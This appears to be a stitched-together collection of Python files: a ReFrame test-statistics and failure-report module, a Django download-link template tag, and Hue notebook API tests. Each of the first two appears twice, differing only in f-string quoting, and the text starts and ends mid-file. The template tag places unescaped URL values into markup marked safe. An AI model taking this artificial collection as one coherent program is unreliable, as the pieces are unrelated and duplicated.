'description': check.descr, 'prefix': check.prefix, 'filename': inspect.getfile(type(check)), 'environment': None, 'fail_phase': None, 'fail_reason': None, 'jobid': None, 'job_stderr': None, 'job_stdout': None, 'maintainers': check.maintainers, 'name': check.name, 'nodelist': [], 'outputdir': None, 'perfvars': None, 'result': None, 'stagedir': check.stagedir, 'scheduler': None, 'system': check.current_system.name, 'tags': list(check.tags), 'time_compile': t.duration('compile_complete'), 'time_performance': t.duration('performance'), 'time_run': t.duration('run_complete'), 'time_sanity': t.duration('sanity'), 'time_setup': t.duration('setup'), 'time_total': t.duration('total') } # We take partition and environment from the test case and not # from the check, since if the test fails before `setup()`, # these are not set inside the check. partition = t.testcase.partition environ = t.testcase.environ entry['system'] = partition.fullname entry['scheduler'] = partition.scheduler.registered_name entry['environment'] = environ.name if check.job: entry['jobid'] = str(check.job.jobid) entry['job_stderr'] = check.stderr.evaluate() entry['job_stdout'] = check.stdout.evaluate() entry['nodelist'] = check.job.nodelist or [] if check.build_job: entry['build_stderr'] = check.build_stderr.evaluate() entry['build_stdout'] = check.build_stdout.evaluate() if t.failed: num_failures += 1 entry['result'] = 'failure' elif t.aborted: entry['result'] = 'aborted' num_aborted += 1 if t.failed or t.aborted: entry['fail_phase'] = t.failed_stage if t.exc_info is not None: entry['fail_reason'] = errors.what(*t.exc_info) entry['fail_info'] = { 'exc_type': t.exc_info[0], 'exc_value': t.exc_info[1], 'traceback': t.exc_info[2] } entry['fail_severe'] = errors.is_severe(*t.exc_info) elif t.skipped: entry['result'] = 'skipped' num_skipped += 1 else: entry['result'] = 'success' entry['outputdir'] = check.outputdir if check.perfvalues: # Record performance variables entry['perfvars'] = [] for key, ref in check.perfvalues.items(): var = key.split(':')[-1] val, ref, lower, upper, unit = ref entry['perfvars'].append({ 'name': var, 'reference': ref, 'thres_lower': lower, 'thres_upper': upper, 'unit': unit, 'value': val }) testcases.append(entry) self._run_data.append({ 'num_cases': len(run), 'num_failures': num_failures, 'num_aborted': num_aborted, 'num_skipped': num_skipped, 'runid': runid, 'testcases': testcases }) return self._run_data def print_failure_report(self, printer): line_width = 78 printer.info(line_width * '=') printer.info('SUMMARY OF FAILURES') run_report = self.json()[-1] last_run = run_report['runid'] for r in run_report['testcases']: if r['result'] in {'success', 'aborted', 'skipped'}: continue retry_info = ( f'(for the last of {last_run} retries)' if last_run > 0 else '' ) printer.info(line_width * '-') printer.info(f"FAILURE INFO for {r["name"]} {retry_info}") printer.info(f" * Test Description: {r["description"]}") printer.info(f" * System partition: {r["system"]}") printer.info(f" * Environment: {r["environment"]}") printer.info(f" * Stage directory: {r["stagedir"]}") printer.info( f" * Node list: {util.nodelist_abbrev(r["nodelist"])}" ) job_type = 'local' if r['scheduler'] == 'local' else 'batch job' jobid = r['jobid'] printer.info(f" * Job type: {job_type} (id={r["jobid"]})") printer.info(f" * Dependencies (conceptual): " f"{r["dependencies_conceptual"]}") printer.info(f" * Dependencies (actual): " f"{r["dependencies_actual"]}") printer.info(f" * Maintainers: {r["maintainers"]}") printer.info(f" * Failing phase: {r["fail_phase"]}") printer.info(f" * Rerun with '-n {r["name"]}" f" -p {r["environment"]} --system {r["system"]} -r'") printer.info(f" * Reason: {r["fail_reason"]}") tb = ''.join(traceback.format_exception(*r['fail_info'].values())) if r['fail_severe']: printer.info(tb) else: printer.verbose(tb) printer.info(line_width * '-') def print_failure_stats(self, printer): failures = {} current_run = rt.runtime().current_run for tf in (t for t in self.tasks(current_run) if t.failed): check = tf.check partition = check.current_partition partfullname = partition.fullname if partition else 'None' environ_name = (check.current_environ.name if check.current_environ else 'None') f = f'[{check.name}, {environ_name}, {partfullname}]' if tf.failed_stage not in failures: failures[tf.failed_stage] = [] failures[tf.failed_stage].append(f) line_width = 78 stats_start = line_width * '=' stats_title = 'FAILURE STATISTICS' stats_end = line_width * '-' stats_body = [] row_format = "{:<13} {:<5} {}" stats_hline = row_format.format(13*'-', 5*'-', 60*'-') stats_header = row_format.format('Phase', '#', 'Failing test cases') num_tests = len(self.tasks(current_run)) num_failures = 0 for fl in failures.values(): num_failures += len(fl) stats_body = [''] stats_body.append(f'Total number of test cases: {num_tests}') stats_body.append(f'Total number of failures: {num_failures}') stats_body.append('') stats_body.append(stats_header) stats_body.append(stats_hline) for p, l in failures.items(): stats_body.append(row_format.format(p, len(l), l[0])) for f in l[1:]: stats_body.append(row_format.format('', '', str(f))) if stats_body: for line in (stats_start, stats_title, *stats_body, stats_end): printer.info(line) def performance_report(self): # FIXME: Adapt this function to use the JSON report line_width = 78 report_start = line_width * '=' report_title = 'PERFORMANCE REPORT' report_end = line_width * '-' report_body = [] previous_name = '' previous_part = '' for t in self.tasks(): if t.check.perfvalues.keys(): if t.check.name != previous_name: report_body.append(line_width * '-') report_body.append(t.check.name) previous_name = t.check.name if t.check.current_partition.fullname != previous_part: report_body.append( f'- {t.check.current_partition.fullname}') previous_part = t.check.current_partition.fullname report_body.append(f' - {t.check.current_environ}') report_body.append(f' * num_tasks: {t.check.num_tasks}') for key, ref in t.check.perfvalues.items(): var = key.split(':')[-1] val = ref[0] try: unit = ref[4] except IndexError: unit = '(no unit specified)' report_body.append(f' * {var}: {val} {unit}') if report_body: return '\n'.join([report_start, report_title, *report_body, report_end]) return ''
# Copyright 2016-2021 Swiss National Supercomputing Centre (CSCS/ETH Zurich) # ReFrame Project Developers. See the top-level LICENSE file for details. # # SPDX-License-Identifier: BSD-3-Clause import inspect import traceback import reframe.core.runtime as rt import reframe.core.exceptions as errors import reframe.utility as util class TestStats: '''Stores test case statistics.''' def __init__(self): # Tasks per run stored as follows: [[run0_tasks], [run1_tasks], ...] self._alltasks = [[]] # Data collected for all the runs of this session in JSON format self._run_data = [] def add_task(self, task): current_run = rt.runtime().current_run if current_run == len(self._alltasks): self._alltasks.append([]) self._alltasks[current_run].append(task) def tasks(self, run=-1): try: return self._alltasks[run] except IndexError: raise errors.StatisticsError(f'no such run: {run}') from None def failed(self, run=-1): return [t for t in self.tasks(run) if t.failed] def skipped(self, run=-1): return [t for t in self.tasks(run) if t.skipped] def aborted(self, run=-1): return [t for t in self.tasks(run) if t.aborted] def completed(self, run=-1): return [t for t in self.tasks(run) if t.completed] def num_cases(self, run=-1): return len(self.tasks(run)) def retry_report(self): # Return an empty report if no retries were done. if not rt.runtime().current_run: return '' line_width = 78 report = [line_width * '='] report.append('SUMMARY OF RETRIES') report.append(line_width * '-') messages = {} for run in range(1, len(self._alltasks)): for t in self.tasks(run): partition_name = '' environ_name = '' if t.check.current_partition: partition_name = t.check.current_partition.fullname if t.check.current_environ: environ_name = t.check.current_environ.name # Overwrite entry from previous run if available messages[f"{t.check.name}:{partition_name}:{environ_name}"] = ( f" * Test {t.check.info()} was retried {run} time(s) and " f"{'failed' if t.failed else 'passed'}." ) for key in sorted(messages.keys()): report.append(messages[key]) return '\n'.join(report) def json(self, force=False): if not force and self._run_data: return self._run_data for runid, run in enumerate(self._alltasks): testcases = [] num_failures = 0 num_aborted = 0 num_skipped = 0 for t in run: check = t.check partition = check.current_partition entry = { 'build_stderr': None, 'build_stdout': None, 'dependencies_actual': [ (d.check.name, d.partition.fullname, d.environ.name) for d in t.testcase.deps ], 'dependencies_conceptual': [ d[0] for d in t.check.user_deps() ], 'description': check.descr, 'prefix': check.prefix, 'filename': inspect.getfile(type(check)), 'environment': None, 'fail_phase': None, 'fail_reason': None, 'jobid': None, 'job_stderr': None, 'job_stdout': None, 'maintainers': check.maintainers, 'name': check.name, 'nodelist': [], 'outputdir': None, 'perfvars': None, 'result': None, 'stagedir': check.stagedir, 'scheduler': None, 'system': check.current_system.name, 'tags': list(check.tags), 'time_compile': t.duration('compile_complete'), 'time_performance': t.duration('performance'), 'time_run': t.duration('run_complete'), 'time_sanity': t.duration('sanity'), 'time_setup': t.duration('setup'), 'time_total': t.duration('total') } # We take partition and environment from the test case and not # from the check, since if the test fails before `setup()`, # these are not set inside the check. partition = t.testcase.partition environ = t.testcase.environ entry['system'] = partition.fullname entry['scheduler'] = partition.scheduler.registered_name entry['environment'] = environ.name if check.job: entry['jobid'] = str(check.job.jobid) entry['job_stderr'] = check.stderr.evaluate() entry['job_stdout'] = check.stdout.evaluate() entry['nodelist'] = check.job.nodelist or [] if check.build_job: entry['build_stderr'] = check.build_stderr.evaluate() entry['build_stdout'] = check.build_stdout.evaluate() if t.failed: num_failures += 1 entry['result'] = 'failure' elif t.aborted: entry['result'] = 'aborted' num_aborted += 1 if t.failed or t.aborted: entry['fail_phase'] = t.failed_stage if t.exc_info is not None: entry['fail_reason'] = errors.what(*t.exc_info) entry['fail_info'] = { 'exc_type': t.exc_info[0], 'exc_value': t.exc_info[1], 'traceback': t.exc_info[2] } entry['fail_severe'] = errors.is_severe(*t.exc_info) elif t.skipped: entry['result'] = 'skipped' num_skipped += 1 else: entry['result'] = 'success' entry['outputdir'] = check.outputdir if check.perfvalues: # Record performance variables entry['perfvars'] = [] for key, ref in check.perfvalues.items(): var = key.split(':')[-1] val, ref, lower, upper, unit = ref entry['perfvars'].append({ 'name': var, 'reference': ref, 'thres_lower': lower, 'thres_upper': upper, 'unit': unit, 'value': val }) testcases.append(entry) self._run_data.append({ 'num_cases': len(run), 'num_failures': num_failures, 'num_aborted': num_aborted, 'num_skipped': num_skipped, 'runid': runid, 'testcases': testcases }) return self._run_data def print_failure_report(self, printer): line_width = 78 printer.info(line_width * '=') printer.info('SUMMARY OF FAILURES') run_report = self.json()[-1] last_run = run_report['runid'] for r in run_report['testcases']: if r['result'] in {'success', 'aborted', 'skipped'}: continue retry_info = ( f'(for the last of {last_run} retries)' if last_run > 0 else '' ) printer.info(line_width * '-') printer.info(f"FAILURE INFO for {r['name']} {retry_info}") printer.info(f" * Test Description: {r['description']}") printer.info(f" * System partition: {r['system']}") printer.info(f" * Environment: {r['environment']}") printer.info(f" * Stage directory: {r['stagedir']}") printer.info( f" * Node list: {util.nodelist_abbrev(r['nodelist'])}" ) job_type = 'local' if r['scheduler'] == 'local' else 'batch job' jobid = r['jobid'] printer.info(f" * Job type: {job_type} (id={r['jobid']})") printer.info(f" * Dependencies (conceptual): " f"{r['dependencies_conceptual']}") printer.info(f" * Dependencies (actual): " f"{r['dependencies_actual']}") printer.info(f" * Maintainers: {r['maintainers']}") printer.info(f" * Failing phase: {r['fail_phase']}") printer.info(f" * Rerun with '-n {r['name']}" f" -p {r['environment']} --system {r['system']} -r'") printer.info(f" * Reason: {r['fail_reason']}") tb = ''.join(traceback.format_exception(*r['fail_info'].values())) if r['fail_severe']: printer.info(tb) else: printer.verbose(tb) printer.info(line_width * '-') def print_failure_stats(self, printer): failures = {} current_run = rt.runtime().current_run for tf in (t for t in self.tasks(current_run) if t.failed): check = tf.check partition = check.current_partition partfullname = partition.fullname if partition else 'None' environ_name = (check.current_environ.name if check.current_environ else 'None') f = f'[{check.name}, {environ_name}, {partfullname}]' if tf.failed_stage not in failures: failures[tf.failed_stage] = [] failures[tf.failed_stage].append(f) line_width = 78 stats_start = line_width * '=' stats_title = 'FAILURE STATISTICS' stats_end = line_width * '-' stats_body = [] row_format = "{:<13} {:<5} {}" stats_hline = row_format.format(13*'-', 5*'-', 60*'-') stats_header = row_format.format('Phase', '#', 'Failing test cases') num_tests = len(self.tasks(current_run)) num_failures = 0 for fl in failures.values(): num_failures += len(fl) stats_body = [''] stats_body.append(f'Total number of test cases: {num_tests}') stats_body.append(f'Total number of failures: {num_failures}') stats_body.append('') stats_body.append(stats_header) stats_body.append(stats_hline) for p, l in failures.items(): stats_body.append(row_format.format(p, len(l), l[0])) for f in l[1:]: stats_body.append(row_format.format('', '', str(f))) if stats_body: for line in (stats_start, stats_title, *stats_body, stats_end): printer.info(line) def performance_report(self): # FIXME: Adapt this function to use the JSON report line_width = 78 report_start = line_width * '=' report_title = 'PERFORMANCE REPORT' report_end = line_width * '-' report_body = [] previous_name = '' previous_part = '' for t in self.tasks(): if t.check.perfvalues.keys(): if t.check.name != previous_name: report_body.append(line_width * '-') report_body.append(t.check.name) previous_name = t.check.name if t.check.current_partition.fullname != previous_part: report_body.append( f'- {t.check.current_partition.fullname}') previous_part = t.check.current_partition.fullname report_body.append(f' - {t.check.current_environ}') report_body.append(f' * num_tasks: {t.check.num_tasks}') for key, ref in t.check.perfvalues.items(): var = key.split(':')[-1] val = ref[0] try: unit = ref[4] except IndexError: unit = '(no unit specified)' report_body.append(f' * {var}: {val} {unit}') if report_body: return '\n'.join([report_start, report_title, *report_body, report_end]) return ''
from core.templatetags import register from django.utils.safestring import mark_safe from html import escape import re def get_extension_icon(filename): extension_icons = { "docx": "doc", "doc": "doc", "odt": "doc", "txt": "doc", "pdf": "pdf", "png": "img", "jpg": "img", "jpeg": "img", "jfif": "img", "gif": "img", "bmp": "img", "xls": "xls", "xlsx": "xls", "ods": "xls", "zip": "zip", } regex = r"\.([^\.]{3,4})$" match = re.search(regex, filename) extension = match and match.group(1).lower() return extension_icons.get(extension) or "" @register.simple_tag(takes_context=True) def download_link(context, document, all_downloadable=None): """ Template tag to display a document link with icon Usage: {% download_link <document> <all_downloadable> %} """ safe = document.get("safe") downloadable = document.get("downloadable") filename = document.get("name") doc_class = get_extension_icon(filename) output = ( f"""<i class="icon-file {doc_class}"></i><span class="filename">{escape(filename)}</span>""" ) # Show docs as links if they are created by this user or issued or not confidential if safe and downloadable: case = context.get("case") or {} reference = case.get("reference") submission_id = context.get("submission_id") output = ( f"<a href=\"/public/case/{reference}/submission/{submission_id}/document/{document.get("id")}/\"" # noqa: E501 f' class="link" target="_blank">{output}</a>' ) output = f"""<div class="download-link">{output}</div>""" return mark_safe(output)
from core.templatetags import register from django.utils.safestring import mark_safe from html import escape import re def get_extension_icon(filename): extension_icons = { "docx": "doc", "doc": "doc", "odt": "doc", "txt": "doc", "pdf": "pdf", "png": "img", "jpg": "img", "jpeg": "img", "jfif": "img", "gif": "img", "bmp": "img", "xls": "xls", "xlsx": "xls", "ods": "xls", "zip": "zip", } regex = r"\.([^\.]{3,4})$" match = re.search(regex, filename) extension = match and match.group(1).lower() return extension_icons.get(extension) or "" @register.simple_tag(takes_context=True) def download_link(context, document, all_downloadable=None): """ Template tag to display a document link with icon Usage: {% download_link <document> <all_downloadable> %} """ safe = document.get("safe") downloadable = document.get("downloadable") filename = document.get("name") doc_class = get_extension_icon(filename) output = ( f"""<i class="icon-file {doc_class}"></i><span class="filename">{escape(filename)}</span>""" ) # Show docs as links if they are created by this user or issued or not confidential if safe and downloadable: case = context.get("case") or {} reference = case.get("reference") submission_id = context.get("submission_id") output = ( f"<a href=\"/public/case/{reference}/submission/{submission_id}/document/{document.get('id')}/\"" # noqa: E501 f' class="link" target="_blank">{output}</a>' ) output = f"""<div class="download-link">{output}</div>""" return mark_safe(output)
#!/usr/bin/env python ## -*- coding: utf-8 -*- # Licensed to Cloudera, Inc. under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. Cloudera, Inc. licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from builtins import object import json import sys from collections import OrderedDict from nose.plugins.attrib import attr from nose.tools import assert_equal, assert_true, assert_false from django.urls import reverse from azure.conf import is_adls_enabled from desktop import appmanager from desktop.conf import APP_BLACKLIST from desktop.lib.django_test_util import make_logged_in_client from desktop.lib.test_utils import grant_access, add_permission from desktop.models import Directory, Document, Document2 from hadoop import cluster as originalCluster from useradmin.models import User import notebook.connectors.hiveserver2 from notebook.api import _historify from notebook.connectors.base import Notebook, QueryError, Api from notebook.decorators import api_error_handler from notebook.conf import get_ordered_interpreters, INTERPRETERS_SHOWN_ON_WHEEL, INTERPRETERS from notebook.models import Analytics if sys.version_info[0] > 2: from unittest.mock import patch else: from mock import patch class TestNotebookApi(object): def setUp(self): self.client = make_logged_in_client(username="test", groupname="default", recreate=True, is_superuser=False) self.client_not_me = make_logged_in_client(username="not_perm_user", groupname="default", recreate=True, is_superuser=False) self.user = User.objects.get(username="test") self.user_not_me = User.objects.get(username="not_perm_user") grant_access("test", "default", "notebook") grant_access("not_perm_user", "default", "notebook") self.notebook_json = """ { "selectedSnippet": "hive", "showHistory": false, "description": "Test Hive Query", "name": "Test Hive Query", "sessions": [ { "type": "hive", "properties": [], "id": null } ], "type": "query-hive", "id": 50010, "snippets": [{"id":"2b7d1f46-17a0-30af-efeb-33d4c29b1055","type":"hive","status":"running","statement_raw":"select * from default.web_logs where app = '${app_name}';","variables":[{"name":"app_name","value":"metastore"}],"statement":"select * from default.web_logs where app = 'metastore';","properties":{"settings":[],"files":[],"functions":[]},"result":{"id":"b424befa-f4f5-8799-a0b4-79753f2552b1","type":"table","handle":{"log_context":null,"statements_count":1,"end":{"column":21,"row":0},"statement_id":0,"has_more_statements":false,"start":{"column":0,"row":0},"secret":"rVRWw7YPRGqPT7LZ/TeFaA==an","has_result_set":true,"statement":"select * from default.web_logs where app = 'metastore';","operation_type":0,"modified_row_count":null,"guid":"7xm6+epkRx6dyvYvGNYePA==an"}},"lastExecuted": 1462554843817,"database":"default"}], "uuid": "5982a274-de78-083c-2efc-74f53dce744c", "isSaved": false, "parentUuid": null } """ self.notebook = json.loads(self.notebook_json) self.doc2 = Document2.objects.create(id=50010, name=self.notebook['name'], type=self.notebook['type'], owner=self.user) self.doc1 = Document.objects.link( self.doc2, owner=self.user, name=self.doc2.name, description=self.doc2.description, extra=self.doc2.type ) def test_save_notebook(self): # Test that saving a new document with a new parent will set the parent_directory home_dir = Document2.objects.get_home_directory(self.user) assert_equal(home_dir.uuid, self.doc2.parent_directory.uuid) new_dir = Directory.objects.create(name='new_dir', owner=self.user, parent_directory=home_dir) notebook_cp = self.notebook.copy() notebook_cp.pop('id') notebook_cp['directoryUuid'] = new_dir.uuid notebook_json = json.dumps(notebook_cp) response = self.client.post(reverse('notebook:save_notebook'), {'notebook': notebook_json}) data = json.loads(response.content) assert_equal(0, data['status'], data) doc = Document2.objects.get(pk=data['id']) assert_equal(new_dir.uuid, doc.parent_directory.uuid) # Test that saving a new document with a no parent will map it to its home dir notebook_json = """ { "selectedSnippet": "hive", "showHistory": false, "description": "Test Hive Query", "name": "Test Hive Query", "sessions": [ { "type": "hive", "properties": [], "id": null } ], "type": "query-hive", "id": null, "snippets": [{"id":"2b7d1f46-17a0-30af-efeb-33d4c29b1055","type":"hive","status":"running","statement_raw":"select * from default.web_logs where app = '${app_name}';","variables":[{"name":"app_name","value":"metastore"}],"statement":"select * from default.web_logs where app = 'metastore';","properties":{"settings":[],"files":[],"functions":[]},"result":{"id":"b424befa-f4f5-8799-a0b4-79753f2552b1","type":"table","handle":{"log_context":null,"statements_count":1,"end":{"column":21,"row":0},"statement_id":0,"has_more_statements":false,"start":{"column":0,"row":0},"secret":"rVRWw7YPRGqPT7LZ/TeFaA==an","has_result_set":true,"statement":"select * from default.web_logs where app = 'metastore';","operation_type":0,"modified_row_count":null,"guid":"7xm6+epkRx6dyvYvGNYePA==an"}},"lastExecuted": 1462554843817,"database":"default"}], "uuid": "d9efdee1-ef25-4d43-b8f9-1a170f69a05a" } """ response = self.client.post(reverse('notebook:save_notebook'), {'notebook': notebook_json}) data = json.loads(response.content) assert_equal(0, data['status'], data) doc = Document2.objects.get(pk=data['id']) assert_equal(Document2.objects.get_home_directory(self.user).uuid, doc.parent_directory.uuid) # Test that saving a notebook will save the search field to the first statement text assert_equal(doc.search, "select * from default.web_logs where app = 'metastore';") def test_historify(self): # Starts with no history assert_equal(0, Document2.objects.filter(name__contains=self.notebook['name'], is_history=True).count()) assert_equal(1, Document.objects.filter(name__contains=self.notebook['name']).count()) history_doc = _historify(self.notebook, self.user) assert_true(history_doc.id > 0) # Test that historify creates new Doc2 and linked Doc1 assert_equal(1, Document2.objects.filter(name__contains=self.notebook['name'], is_history=True).count()) assert_equal(2, Document.objects.filter(name__contains=self.notebook['name']).count()) # Historify again history_doc = _historify(self.notebook, self.user) assert_equal(2, Document2.objects.filter(name__contains=self.notebook['name'], is_history=True).count()) assert_equal(3, Document.objects.filter(name__contains=self.notebook['name']).count()) def test_get_history(self): assert_equal(0, Document2.objects.filter(name__contains=self.notebook['name'], is_history=True).count()) _historify(self.notebook, self.user) _historify(self.notebook, self.user) _historify(self.notebook, self.user) assert_equal(3, Document2.objects.filter(name__contains=self.notebook['name'], is_history=True).count()) # History should not return history objects that don't have the given doc type Document2.objects.create(name='Impala History', type='query-impala', data=self.notebook_json, owner=self.user, is_history=True) # Verify that get_history API returns history objects for given type and current user response = self.client.get(reverse('notebook:get_history'), {'doc_type': 'hive'}) data = json.loads(response.content) assert_equal(0, data['status'], data) assert_equal(3, len(data['history']), data) assert_true(all(doc['type'] == 'query-hive' for doc in data['history']), data) # TODO: test that query history for shared query only returns docs accessible by current user def test_clear_history(self): assert_equal(0, Document2.objects.filter(name__contains=self.notebook['name'], is_history=True).count()) _historify(self.notebook, self.user) _historify(self.notebook, self.user) _historify(self.notebook, self.user) assert_equal(3, Document2.objects.filter(name__contains=self.notebook['name'], is_history=True).count()) # Clear history should not clear history objects that don't have the given doc type Document2.objects.create(name='Impala History', type='query-impala', owner=self.user, is_history=True) # clear history should retain original document but wipe history response = self.client.post(reverse('notebook:clear_history'), {'notebook': self.notebook_json, 'doc_type': 'hive'}) data = json.loads(response.content) assert_equal(0, data['status'], data) assert_false(Document2.objects.filter(type='query-hive', is_history=True).exists()) assert_true(Document2.objects.filter(type='query-hive', is_history=False).exists()) assert_true(Document2.objects.filter(type='query-impala', is_history=True).exists()) def test_delete_notebook(self): trash_notebook_json = """ { "selectedSnippet": "hive", "showHistory": false, "description": "Test Hive Query", "name": "Test Hive Query", "sessions": [ { "type": "hive", "properties": [], "id": null } ], "type": "query-hive", "id": null, "snippets": [{"id": "e069ef32-5c95-4507-b961-e79c090b5abf","type":"hive","status":"ready","database":"default","statement":"select * from web_logs","statement_raw":"select * from web_logs","variables":[],"properties":{"settings":[],"files":[],"functions":[]},"result":{}}], "uuid": "8a20da5f-b69c-4843-b17d-dea5c74c41d1" } """ # Assert that the notebook is first saved response = self.client.post(reverse('notebook:save_notebook'), {'notebook': trash_notebook_json}) data = json.loads(response.content) assert_equal(0, data['status'], data) # Test that deleting it moves it to the user's Trash folder notebook_doc = Document2.objects.get(id=data['id']) trash_notebooks = [Notebook(notebook_doc).get_data()] response = self.client.post(reverse('notebook:delete'), {'notebooks': json.dumps(trash_notebooks)}) data = json.loads(response.content) assert_equal(0, data['status'], data) assert_equal('Trashed 1 notebook(s)', data['message'], data) response = self.client.get('/desktop/api2/doc', {'path': '/.Trash'}) data = json.loads(response.content) trash_uuids = [doc['uuid'] for doc in data['children']] assert_true(notebook_doc.uuid in trash_uuids, data) # Test that any errors are reported in the response nonexistant_doc = { "id": 12345, "uuid": "ea22da5f-b69c-4843-b17d-dea5c74c41d1", "selectedSnippet": "hive", "showHistory": False, "description": "Test Hive Query", "name": "Test Hive Query", "sessions": [ { "type": "hive", "properties": [], "id": None, } ], "type": "query-hive", "snippets": [{ "id": "e069ef32-5c95-4507-b961-e79c090b5abf", "type": "hive", "status": "ready", "database": "default", "statement": "select * from web_logs", "statement_raw": "select * from web_logs", "variables": [], "properties": {"settings": [], "files": [], "functions": []}, "result": {} }] } trash_notebooks = [nonexistant_doc] response = self.client.post(reverse('notebook:delete'), {'notebooks': json.dumps(trash_notebooks)}) data = json.loads(response.content) assert_equal(0, data['status'], data) assert_equal('Trashed 0 notebook(s) and failed to delete 1 notebook(s).', data['message'], data) assert_equal(['ea22da5f-b69c-4843-b17d-dea5c74c41d1'], data['errors']) def test_query_error_encoding(self): @api_error_handler def send_exception(message): raise QueryError(message=message) message = """SELECT a.key, a.* FROM customers c, c.addresses a""" response = send_exception(message) data = json.loads(response.content) assert_equal(1, data['status']) message = """SELECT \u2002\u2002a.key, \u2002\u2002a.* FROM customers c, c.addresses a""" response = send_exception(message) data = json.loads(response.content) assert_equal(1, data['status']) message = u"""SELECT a.key, a.* FROM déclenché c, c.addresses a""" response = send_exception(message) data = json.loads(response.content) assert_equal(1, data['status']) class MockedApi(Api): def execute(self, notebook, snippet): return { 'sync': True, 'has_result_set': True, 'result': { 'has_more': False, 'data': [['test']], 'meta': [{ 'name': 'test', 'type': '', 'comment': '' }], 'type': 'table' } } def close_statement(self, notebook, snippet): pass def export_data_as_hdfs_file(self, snippet, target_file, overwrite): return {'destination': target_file} class MockFs(object): def __init__(self, logical_name=None): self.fs_defaultfs = 'hdfs://curacao:8020' self.logical_name = logical_name if logical_name else '' self.DEFAULT_USER = 'test' self.user = 'test' self._filebrowser_action = '' def setuser(self, user): self._user = user @property def user(self): return self._user def do_as_user(self, username, fn, *args, **kwargs): return '' def exists(self, path): if path == '/user/hue/non_exists_directory': return False return True def listdir_stats(self, path): if path == '/user/hue/non_empty_directory': return ['mock_dir', 'mock_file'] return [] def isdir(self, path): return path == '/user/hue' def filebrowser_action(self): return self._filebrowser_action @user.setter def user(self, value): self._user = value class TestNotebookApiMocked(object): def setUp(self): self.client = make_logged_in_client(username="test", groupname="default", recreate=True, is_superuser=False) self.client_not_me = make_logged_in_client(username="not_perm_user", groupname="default", recreate=True, is_superuser=False) self.user = User.objects.get(username="test") self.user_not_me = User.objects.get(username="not_perm_user") # Beware: Monkey patch HS2API Mock API if not hasattr(notebook.connectors.hiveserver2, 'original_HS2Api'): # Could not monkey patch base.get_api notebook.connectors.hiveserver2.original_HS2Api = notebook.connectors.hiveserver2.HS2Api notebook.connectors.hiveserver2.HS2Api = MockedApi originalCluster.get_hdfs() self.original_fs = originalCluster.FS_CACHE["default"] originalCluster.FS_CACHE["default"] = MockFs() grant_access("test", "default", "notebook") grant_access("test", "default", "beeswax") grant_access("test", "default", "hive") grant_access("not_perm_user", "default", "notebook") grant_access("not_perm_user", "default", "beeswax") grant_access("not_perm_user", "default", "hive") add_permission('test', 'has_adls', permname='adls_access', appname='filebrowser') def tearDown(self): notebook.connectors.hiveserver2.HS2Api = notebook.connectors.hiveserver2.original_HS2Api if originalCluster.FS_CACHE is None: originalCluster.FS_CACHE = {} originalCluster.FS_CACHE["default"] = self.original_fs @attr('integration') def test_export_result(self): notebook_json = """ { "selectedSnippet": "hive", "showHistory": false, "description": "Test Hive Query", "name": "Test Hive Query", "sessions": [ { "type": "hive", "properties": [], "id": null } ], "type": "query-hive", "id": null, "snippets": [{"id":"2b7d1f46-17a0-30af-efeb-33d4c29b1055","type":"hive","status":"running","statement":"select * from web_logs","properties":{"settings":[],"variables":[],"files":[],"functions":[]},"result":{"id":"b424befa-f4f5-8799-a0b4-79753f2552b1","type":"table","handle":{"log_context":null,"statements_count":1,"end":{"column":21,"row":0},"statement_id":0,"has_more_statements":false,"start":{"column":0,"row":0},"secret":"rVRWw7YPRGqPT7LZ/TeFaA==an","has_result_set":true,"statement":"select * from web_logs","operation_type":0,"modified_row_count":null,"guid":"7xm6+epkRx6dyvYvGNYePA==an"}},"lastExecuted": 1462554843817,"database":"default"}], "uuid": "d9efdee1-ef25-4d43-b8f9-1a170f69a05a" } """ response = self.client.post(reverse('notebook:export_result'), { 'notebook': notebook_json, 'snippet': json.dumps(json.loads(notebook_json)['snippets'][0]), 'format': json.dumps('hdfs-file'), 'destination': json.dumps('/user/hue'), 'overwrite': json.dumps(False) }) data = json.loads(response.content) assert_equal(0, data['status'], data) assert_equal('/user/hue/Test Hive Query.csv', data['watch_url']['destination'], data) response = self.client.post(reverse('notebook:export_result'), { 'notebook': notebook_json, 'snippet': json.dumps(json.loads(notebook_json)['snippets'][0]), 'format': json.dumps('hdfs-file'), 'destination': json.dumps('/user/hue/path.csv'), 'overwrite': json.dumps(False) }) data = json.loads(response.content) assert_equal(0, data['status'], data) assert_equal('/user/hue/path.csv', data['watch_url']['destination'], data) if is_adls_enabled(): response = self.client.post(reverse('notebook:export_result'), { 'notebook': notebook_json, 'snippet': json.dumps(json.loads(notebook_json)['snippets'][0]), 'format': json.dumps('hdfs-file'), 'destination': json.dumps('adl:/user/hue/path.csv'), 'overwrite': json.dumps(False) }) data = json.loads(response.content) assert_equal(0, data['status'], data) assert_equal('adl:/user/hue/path.csv', data['watch_url']['destination'], data) response = self.client.post(reverse('notebook:export_result'), { 'notebook': notebook_json, 'snippet': json.dumps(json.loads(notebook_json)['snippets'][0]), 'format': json.dumps('hdfs-directory'), 'destination': json.dumps('/user/hue/non_empty_directory'), 'overwrite': json.dumps(False) }) data = json.loads(response.content) assert_equal(-1, data['status'], data) assert_equal('The destination is not a empty directory!', data['message'], data) def test_download_result(self): notebook_json = """ { "selectedSnippet": "hive", "showHistory": false, "description": "Test Hive Query", "name": "Test Hive Query", "sessions": [ { "type": "hive", "properties": [], "id": null } ], "type": "query-hive", "id": null, "snippets": [{"id":"2b7d1f46-17a0-30af-efeb-33d4c29b1055","type":"hive","status":"running","statement":"select * from web_logs","properties":{"settings":[],"variables":[],"files":[],"functions":[]},"result":{"id":"b424befa-f4f5-8799-a0b4-79753f2552b1","type":"table","handle":{"log_context":null,"statements_count":1,"end":{"column":21,"row":0},"statement_id":0,"has_more_statements":false,"start":{"column":0,"row":0},"secret":"rVRWw7YPRGqPT7LZ/TeFaA==an","has_result_set":true,"statement":"select * from web_logs","operation_type":0,"modified_row_count":null,"guid":"7xm6+epkRx6dyvYvGNYePA==an"}},"lastExecuted": 1462554843817,"database":"default"}], "uuid": "d9efdee1-ef25-4d43-b8f9-1a170f69a05a" } """ response = self.client.post(reverse('notebook:download'), { 'notebook': notebook_json, 